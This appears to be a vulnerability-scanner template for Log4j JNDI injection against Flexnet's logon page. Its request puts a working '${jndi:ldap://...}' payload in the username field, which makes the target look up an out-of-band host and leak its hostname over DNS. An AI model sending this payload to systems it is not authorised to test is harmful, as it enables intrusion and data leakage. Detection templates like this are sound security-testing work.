2023-10-18 20:00:15 +00:00
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id: flexnet-log4j-rce
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info:
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name: Flexnet - Remote Code Execution (Apache Log4j)
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2023-10-19 07:28:29 +00:00
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author: shaikhyaser
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2023-10-18 20:00:15 +00:00
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severity: critical
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description: |
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2023-10-19 07:28:29 +00:00
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Flexnet is susceptible to Log4j JNDI remote code execution.
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2023-10-18 20:00:15 +00:00
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reference:
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- https://community.flexera.com/t5/Revenera-Company-News/Security-Advisory-Log4j-Java-Vulnerability-CVE-2021-4104-CVE/ba-p/216905
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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2023-10-19 07:28:29 +00:00
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shodan-query: title:"Flexnet"
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2023-10-18 20:00:15 +00:00
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max-request: 1
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tags: cve,cve2021,rce,jndi,log4j,flexnet,oast,kev
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2023-10-19 07:28:29 +00:00
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2023-10-18 20:00:15 +00:00
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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2023-10-19 07:28:29 +00:00
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str: "{{rand_base(5)}}"
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2023-10-18 20:00:15 +00:00
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http:
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- raw:
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- |
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POST /flexnet/logon.do HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Referer: {{RootURL}}/flexnet/logon.do
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Content-Type: application/x-www-form-urlencoded
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2023-10-19 07:28:29 +00:00
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action=logon&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}&domain=FLEXnet
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2023-10-18 20:00:15 +00:00
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol #Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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extractors:
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- type: kval
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kval:
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- interactsh_ip #Print remote interaction IP in output
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- type: regex
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print injection point in output
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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part: interactsh_request
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2023-10-23 07:42:12 +00:00
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# digest: 4a0a004730450220096e8df0b677793c90b32c0a66e9862443adf7b8118f44742e1cd4e2c37b183a022100f17c5f0424fbb6a977bd9c3b15b4ff79d08c3dbbc71f80c9a8d1d0c389c39a0b:922c64590222798bb761d5b6d8e72950
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